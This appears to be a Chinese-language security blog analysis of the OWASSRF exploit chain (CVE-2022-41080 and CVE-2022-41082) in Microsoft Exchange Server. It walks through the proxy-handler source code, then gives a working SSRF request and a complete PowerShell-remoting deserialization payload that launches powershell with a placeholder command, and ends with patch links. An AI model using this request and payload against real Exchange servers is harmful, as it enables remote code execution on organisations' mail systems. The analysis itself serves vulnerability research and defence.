CVE-2022-41080_41082 Microsoft Exchange Server OWASSRF远程代码执行漏洞分析
2023-1-19 11:57:28 Author: 源影安全实验室(查看原文) 阅读量:59 收藏

简介
Microsoft Exchange Server是微软公司开发与销售的一套群组软件。除传统的电子邮件的存取、储存、转发作用外,在新版本的产品中亦加入了一系列辅助功能,如语音邮件、邮件过滤筛选和Outlook Web Access(基于Web的电子邮件存取)。
2022年12月10日,CrowdStrike发布针对Microsoft Exchange Server新的利用链的技术细节,并将其命名为"OWASSRF",其中涉及两个漏洞:
Microsoft Exchange Server权限升漏洞(CVE-2022-41080):经过身份认证的远程攻击者可通过Outlook Web Application (OWA)端点获得在系统上下文中执行PowerShell的权限。
Microsoft Exchange Server远程代码执行漏洞(CVE-2022-41082):具有执行PowerShell权限的远程攻击者可利用此漏洞在目标系统上执行任意代码。组合这两个漏洞,经过身份认证的远程攻击者可通过Outlook Web Application (OWA)端点最终执行任意代码。值得注意的是,"OWASSRF"漏洞利用链绕过了之前Microsoft为"ProxyNotShell"提供的缓解措施。
影响版本

Microsoft Exchange Server 2016 Cumulative Update 22
Microsoft Exchange Server 2019 Cumulative Update 11
Microsoft Exchange Server 2013 Cumulative Update 23
Microsoft Exchange Server 2019 Cumulative Update 12
Microsoft Exchange Server 2016 Cumulative Update 23
.

漏洞分析
Exchange作为邮箱服务器角色时分为客户端访问服务(Client Access Services)和后端服务(Backend Services)部分,CAS负责校验用户身份并将请求反代至具体的后端服务。Exchange服务器作为身份认证的SSRF漏洞,说明肯定涉及到了NTLM/Kerberos认证,定位到Microsoft.Exchange.FrontEndHttpProxy
ProxyRequestHandler类是CAS反代过程中,负责处理用户请求与后端响应的一个承前启后的组件。当用户访问CAS时,会初始化Microsoft.Exchange.HttpProxy.ProxyModule类,并根据请求路径分配handler。当身份未验证时进入SelectHandlerForUnauthenticatedRequest() 方法,验证成功才会进入SelectHandlerForAuthenticatedRequest() 方法,进而通过“/owa/xxxx”的请求路径使用OwaProxyRequestHandler 进入利用点,故owassrf需要身份认证成功后才能利用成功。
IHttpHandler httpHandler;   if (context.Request.IsAuthenticated)   {    httpHandler = this.SelectHandlerForAuthenticatedRequest(context);   }   else   {    httpHandler = this.SelectHandlerForUnauthenticatedRequest(context);   }
// Microsoft.Exchange.HttpProxy.ProxyModuleprivate IHttpHandler SelectHandlerForAuthenticatedRequest(HttpContext httpContext){ IHttpHandler result; try {  IHttpHandler httpHandler;  ……  else if (HttpProxyGlobals.ProtocolType == ProtocolType.Owa)   {    string absolutePath = httpContext.Request.Url.AbsolutePath;    ……    else    {     httpHandler = new OwaProxyRequestHandler();    }   }   ……   result = httpHandler;  }  ……  return result; }

确定handler后会通过OwaProxyRequestHandler.GetTargetBackEndServerUrl() 方法计算CAS请求后端的地址。而这个函数又调用了base.GetTargetBackEndServerUrl() 方法。OwaProxyRequestHandler的基类是OwaEcpProxyRequestHandler,而这个类没有重写GetTargetBackEndServerUrl()函数,故进一步向上直到调用到了ProxyRequestHandler类的这个方法。

// Microsoft.Exchange.HttpProxy.OwaProxyRequestHandlerprotected override Uri GetTargetBackEndServerUrl(){ Uri targetBackEndServerUrl = base.GetTargetBackEndServerUrl(); ……}

而在ProxyRequestHandler.GetTargetBackEndServerUrl() 函数中执行了this.GetClientUrlForProxy(),OwaProxyRequestHandler中没有覆写这个方法,但在OwaEcpProxyRequestHandler类中是覆写了这个函数的。根据c#的性质可知,此处会调用OwaEcpProxyRequestHandler类中覆写的GetTargetBackEndServerUrl()

// Microsoft.Exchange.HttpProxy.ProxyRequestHandlerprotected virtual Uri GetTargetBackEndServerUrl(){ this.LogElapsedTime("E_TargetBEUrl"); Uri result; try {  ……  else   {    UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();    clientUrlForProxy.Scheme = Uri.UriSchemeHttps;    clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;    clientUrlForProxy.Port = 444;     ……    result = clientUrlForProxy.Uri;   }  }  finally  {   this.LogElapsedTime("L_TargetBEUrl");  }  return result; }

而这个函数与去年的ProxyShell的ssrf利用点基本相同,同样是通过UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath() 方法去除请求路径中的部分内容,即this.ExplicitSignOnAddress。

protected override UriBuilder GetClientUrlForProxy(){    UriBuilder uriBuilder = new UriBuilder(base.ClientRequest.Url.OriginalString);    if (this.IsExplicitSignOn && !UrlUtilities.IsOwaDownloadRequest(base.ClientRequest.Url))    {        uriBuilder.Path = UrlHelper.RemoveExplicitLogonFromUrlAbsolutePath(HttpUtility.UrlDecode(base.ClientRequest.Url.AbsolutePath), HttpUtility.UrlDecode(this.ExplicitSignOnAddress));    }    return uriBuilder;}
public static string RemoveExplicitLogonFromUrlAbsolutePath(string absolutePath, string explicitLogonAddress){ ArgumentValidator.ThrowIfNull("absolutePath", absolutePath); ArgumentValidator.ThrowIfNull("explicitLogonAddress", explicitLogonAddress); return absolutePath.Replace("/" + explicitLogonAddress, string.Empty);}

进一步分析this.ExplicitSignOnAddress,发现赋值位置。进一步查看text赋值位置RequestHeaderParser.TryGetExplicitLogonSmtp方法

protected override AnchorMailbox ResolveAnchorMailbox(){    ……    string text;    RequestHeaderParser.TryGetExplicitLogonSmtp(base.ClientRequest.Headers, out text);    if (anchorMailbox == null)    {        if (base.UseRoutingHintForAnchorMailbox)        {             if (!string.IsNullOrEmpty(text) && SmtpAddress.IsValidSmtpAddress(text))             {                 base.IsExplicitSignOn = true;                 base.ExplicitSignOnAddress = text;                 base.Logger.Set(HttpProxyMetadata.RoutingHint, "ExplicitLogon-SMTP-Header");                 anchorMailbox = new SmtpAnchorMailbox(text, this);             }             …… }
尝试获取headers中的字段作为text的值,而字段名称也可知。
1.  public static bool TryGetExplicitLogonSmtp(NameValueCollection headers, out string explicitLogonSmtp)2.  {3.      ArgumentValidator.ThrowIfNull("headers", headers);4.      return RequestHeaderParser.TryGetValueByName(headers, Constants.OwaExplicitLogonUser, out explicitLogonSmtp) && SmtpAddress.IsValidSmtpAddress(explicitLogonSmtp);5.  }

故请求报文poc,cookie为登陆成功后的cookie即可ssrf,至此CVE-2022-41080利用结束。
GET /owa/test%40gmail.com/powershell HTTP/1.1Host: xx.xx.xx.xxAccept-Encoding: gzip, deflateAccept: */*Connection: closeX-OWA-ExplicitLogonUser: owa/[email protected]Cookie: <CHANGE HERE>
能够访问到powershell接口后,利用python包pypsrp可与远程powershell接口交互。cve-2022-41082 poc中交互xml如下,$$POWERSHELL_ENCODE_PAYLOAD_HERE$$ 处替换为想要执行的命令即可,可利用反序列化缺陷获取代码执行。
<Obj RefId="1">    <MS>        <Obj N="PowerShell" RefId="1">            <MS>                <Obj N="Cmds" RefId="2">                    <TN RefId="0">                        <T>System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]</T>                        <T>System.Object</T>                    </TN>                     <LST>                         <Obj RefId="3">                             <MS>                                 <S N="Cmd">Get-Mailbox</S>                                 <B N="IsScript">false</B>                                 <Nil N="UseLocalScope" />                                 <Obj N="MergeMyResult" RefId="4">                                     <TN RefId="1">                                         <T>System.Management.Automation.Runspaces.PipelineResultTypes</T>                                         <T>System.Enum</T>                                         <T>System.ValueType</T>                                         <T>System.Object</T>                                     </TN>                                     <ToString>None</ToString>                                     <I32>0</I32>                                 </Obj>                                 <Obj N="MergeToResult" RefId="5">                                     <TNRef RefId="1" />                                     <ToString>None</ToString>                                     <I32>0</I32>                                 </Obj>                                 <Obj N="MergePreviousResults" RefId="6">                                     <TNRef RefId="1" />                                     <ToString>None</ToString>                                     <I32>0</I32>                                 </Obj>                                 <Obj N="MergeError" RefId="7">                                     <TNRef RefId="1" />                                     <ToString>None</ToString>                                     <I32>0</I32>                                 </Obj>                                 <Obj N="MergeWarning" RefId="8">                                     <TNRef RefId="1" />                                     <ToString>None</ToString>                                     <I32>0</I32>                                 </Obj>                                 <Obj N="MergeVerbose" RefId="9">                                     <TNRef RefId="1" />                                     <ToString>None</ToString>                                     <I32>0</I32>                                 </Obj>                                 <Obj N="MergeDebug" RefId="10">                                     <TNRef RefId="1" />                                     <ToString>None</ToString>                                     <I32>0</I32>                                 </Obj>                                 <Obj N="MergeInformation" RefId="11">                                     <TNRef RefId="1" />                                     <ToString>None</ToString>                                     <I32>0</I32>                                 </Obj>                                 <Obj N="Args" RefId="12">                                     <TNRef RefId="0" />                                     <LST>                                         <Obj RefId="13">                                             <MS>                                                 <S N="N">-Identity:</S>                                                 <Obj N="V" RefId="14">                                                     <TN RefId="2">                                                         <T>Microsoft.PowerShell.Commands.Internal.Format.FormatInfoData</T>                                                         <T>System.Object</T>                                                     </TN>                                                     <ToString>Object</ToString>                                                     <Props>                                                         <S N="Name">Type</S>                                                         <Obj N="TargetTypeForDeserialization">                                                             <TN RefId="2">                                                                 <T>System.Exception</T>                                                                 <T>System.Object</T>                                                             </TN>                                                             <MS>                                                                 <BA N="SerializationData">AAEAAAD/////AQAAAAAAAAAEAQAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBgIAAAAgU3lzdGVtLldpbmRvd3MuTWFya3VwLlhhbWxSZWFkZXIEAAAABgMAAABYUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQs=</BA>                                                             </MS>                                                         </Obj>                                                     </Props>                                                     <S>                                                         <![CDATA[<ObjectDataProvider MethodName="Start" IsInitialLoadEnabled="False"                                                         xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"                                                         xmlns:sd="clr-namespace:System.Diagnostics;assembly=System"                                                          xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"><ObjectDataProvider.ObjectInstance><sd:Process><sd:Process.StartInfo><sd:ProcessStartInfo Arguments="-e $$POWERSHELL_ENCODE_PAYLOAD_HERE$$" StandardErrorEncoding="{x:Null}" StandardOutputEncoding="{x:Null}" UserName="" Password="{x:Null}" Domain="" LoadUserProfile="False" FileName="powershell" /></sd:Process.StartInfo></sd:Process></ObjectDataProvider.ObjectInstance></ObjectDataProvider>]]>                                                     </S>                                                 </Obj>                                             </MS>                                         </Obj>                                     </LST>                                 </Obj>                             </MS>                         </Obj>                     </LST>                 </Obj>                  <B N="IsNested">false</B>                  <Nil N="History" />                  <B N="RedirectShellErrorOutputPipe">true</B>              </MS>          </Obj>          <B N="NoInput">true</B>          <Obj N="ApartmentState" RefId="16">              <TN RefId="4">                  <T>System.Threading.ApartmentState</T>                  <T>System.Enum</T>                  <T>System.ValueType</T>                  <T>System.Object</T>              </TN>              <ToString>Unknown</ToString>              <I32>2</I32>          </Obj>          <Obj N="RemoteStreamOptions" RefId="17">              <TN RefId="5">                  <T>System.Management.Automation.RemoteStreamOptions</T>                  <T>System.Enum</T>                  <T>System.ValueType</T>                  <T>System.Object</T>              </TN>              <ToString>0</ToString>              <I32>0</I32>          </Obj>          <B N="AddToHistory">true</B>          <Obj N="HostInfo" RefId="18">              <MS>                  <B N="_isHostNull">true</B>                  <B N="_isHostUINull">true</B>                  <B N="_isHostRawUINull">true</B>                  <B N="_useRunspaceHost">true</B>              </MS>          </Obj>          <B N="IsNested">false</B>      </MS>  </Obj>

漏洞复现

漏洞修复
微软已于11月发布此漏洞受影响版本的安全补丁:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41080
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41082
参考

[1] OWASSRF: CrowdStrike Identifies New Method for Bypassing ProxyNotShell Mitigations

[2] CVE-2022-41080 - Security Update Guide - Microsoft - Microsoft Exchange Server Elevation of Privilege Vulnerability

[3] CVE-2022-41082 - Security Update Guide - Microsoft - Microsoft Exchange Server Remote Code Execution Vulnerability

[4] https://nvd.nist.gov/vuln/detail/CVE-2022-41080

[5] https://nvd.nist.gov/vuln/detail/CVE-2022-41082

[6] https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41080

[7] https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2022-41082


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwNjM5NTkwOA==&mid=2247483757&idx=1&sn=d1cdb6224825b1d34a41b51f88e8cfdf&chksm=c0e86906f79fe010d5a6307bfd2aefe3cc9c172ee1ef196ef940ab68b0a52c419e909c59d768#rd
如有侵权请联系:admin#unsafe.sh